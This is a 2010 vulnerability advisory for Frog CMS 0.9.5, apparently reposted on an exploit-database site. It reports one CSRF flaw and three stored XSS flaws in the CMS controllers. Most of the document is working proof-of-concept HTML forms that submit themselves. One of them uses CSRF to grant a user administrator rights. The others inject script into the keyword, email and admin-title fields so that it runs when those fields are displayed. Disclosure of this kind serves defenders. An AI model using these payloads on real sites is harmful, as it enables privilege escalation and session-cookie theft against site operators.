Author

High-Tech Bridge

Risk

[

Security Risk Unsored

]

0day-ID

0day-ID-14966

Category

web applications

Date add

26-11-2010

Platform

php

=======================================
Frog CMS 0.9.5 Multiple Vulnerabilities
=======================================

Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_frog_cms.html
Product: Frog CMS
Vendor: Philippe Archambault ( http://www.madebyfrog.com/ )
Vulnerable Version: 0.9.5 and probably prior versions
Vendor Notification: 09 November 2010
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Low
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
 
Vulnerability Details:
The vulnerability exists due to failure in the "frog/app/controllers/UserController.php" script to properly verify the source of HTTP request.
 
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
 
Attacker can use browser to exploit this vulnerability. The following PoC is available:
 
<form action="http://host/admin/?/user/edit/USER_ID" method="post" name="main">
<input type="hidden" name="user[name]" value="username">
<input type="hidden" name="user[email]" value="email@example.com">
<input type="hidden" name="user[password]" value="">
<input type="hidden" name="user[confirm]" value="">
<input type="hidden" name="user_permission[administrator]" value="1">
<input type="hidden" name="user_permission[developer]" value="2">
<input type="hidden" name="user_permission[editor]" value="3">
<input type="hidden" name="commit" value="Save">
</form>
<script>
document.main.submit();
</script>
 
XSS Vulnerability in PageController.php:
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
 
The vulnerability exists due to failure in the "frog/app/controllers/PageController.php" script to properly sanitize user-supplied input in "page[keywords]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
 
An attacker can use browser to exploit this vulnerability. The following PoC is available:
 
<form action="http://host/admin/?/page/edit/PAGE_ID" method="post" name="main">
<input type="hidden" name="page[parent_id]" value="1">
<input type="hidden" name="page[title]" value="page title">
<input type="hidden" name="page[slug]" value="sef_url">
<input type="hidden" name="page[breadcrumb]" value="breadcrumbs">
<input type="hidden" name="page[keywords]" value='key"><script>alert(document.cookie)</script>'>
<input type="hidden" name="page[description]" value="">
<input type="hidden" name="page_tag[tags]" value="">
<input type="hidden" name="page[created_on]" value="2010-10-25">
<input type="hidden" name="page[created_on_time]" value="23:28:03">
<input type="hidden" name="page[published_on]" value="2010-10-25">
<input type="hidden" name="page[published_on_time]" value="23:28:04">
<input type="hidden" name="part[0][name]" value="body">
<input type="hidden" name="part[0][id]" value="7">
<input type="hidden" name="part[0][filter_id]" value="markdown">
<input type="hidden" name="part[0][content]" value="page content">
<input type="hidden" name="page[layout_id]" value="">
<input type="hidden" name="page[behavior_id]" value="">
<input type="hidden" name="page[status_id]" value="100">
<input type="hidden" name="page[needs_login]" value="2">
<input type="hidden" name="commit" value="Save and Close">
</form>
<script>
document.main.submit();
</script>
 
XSS Vulnerability in UserController.php
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
 
The vulnerability exists due to failure in the "frog/app/controllers/UserController.php" script to properly sanitize user-supplied input in "user[email]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
 
An attacker can use browser to exploit this vulnerability. The following PoC is available:
<form action="http://host/admin/?/user/add" method="post" name="main">
<input type="hidden" name="user[name]" value="">
<input type="hidden" name="user[email]" value='"><script>alert(document.cookie)</script>'>
<input type="hidden" name="user[username]" value="">
<input type="hidden" name="user[password]" value="">
<input type="hidden" name="user[confirm]" value="">
<input type="hidden" name="user_permission[editor]" value="3">
<input type="hidden" name="commit" value="Save">
</form>
<script>
document.main.submit();
</script>
 
XSS Vulnerability in SettingController.php
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
 
The vulnerability exists due to failure in the "frog/app/controllers/SettingController.php" script to properly sanitize user-supplied input in "setting[admin_title]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
 
An attacker can use browser to exploit this vulnerability. The following PoC is available:
 
<form action="http://host/admin/?/setting" method="post" name="main">
<input type="hidden" name="setting[admin_title]" value='Frog CMS"><script>alert(document.cookie)</script>'>
<input type="hidden" name="setting[language]" value="en">
<input type="hidden" name="setting[theme]" value="default">
<input type="hidden" name="setting[default_tab]" value="page">
<input type="hidden" name="setting[default_status_id]" value="1">
<input type="hidden" name="setting[default_filter_id]" value="">
<input type="hidden" name="commit" value="Save">
</form>
<script>
document.main.submit();
</script>



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